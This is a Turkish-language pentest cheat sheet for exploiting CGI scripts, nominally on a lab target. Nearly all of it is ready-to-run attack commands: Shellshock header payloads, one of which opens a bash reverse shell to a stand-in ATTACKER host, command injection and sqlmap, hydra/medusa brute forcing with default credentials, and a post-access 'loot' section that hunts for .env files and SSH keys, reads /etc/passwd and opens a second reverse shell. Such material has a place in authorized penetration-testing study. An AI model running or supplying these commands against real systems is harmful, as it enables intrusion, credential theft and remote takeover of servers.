CGI

CGI rce

CGI/bin scriptleri eski ama ölümcül: Shellshock, komut enjeksiyonu ve bilinen binary exploitleri. Hedef lab IP’si üzerinde komutları 80 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. CGI path keşfet.

2. Shellshock header.

3. Parametre injection.

4. Binary-specific CVE.

Keşif

ffuf -u https://TARGET/cgi-bin/FUZZ -w cgi-files.txt -mc 200

curl -vk https://TARGET/cgi-bin/test.cgi

Shellshock

curl -vk https://TARGET/cgi-bin/status -H '() { :; }; echo; /bin/id'

curl -vk https://TARGET/cgi-bin/status -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ATTACKER/443 0>&1'

nmap -p80 --script http-shellshock --script-args uri=/cgi-bin/status TARGET

Injection

curl -vk 'https://TARGET/cgi-bin/tool?cmd=id'

sqlmap -u 'https://TARGET/cgi-bin/app?id=1' --batch

Derin enum

CGI için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p80 TARGET

nmap -Pn -p80 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:80' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',80));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → CGI

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 80 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 80

nmap -p80 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit CGI

msfconsole -q -x 'search CGI; exit'

nuclei -u https://TARGET:80 -t cves/ -silent -severity || true

nuclei -u http://TARGET:80 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 80

printf '
' | timeout 3 nc -nv TARGET 80

curl -vk --http1.0 http://TARGET:80/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

cgi-bin → shellshock/inject → reverse shell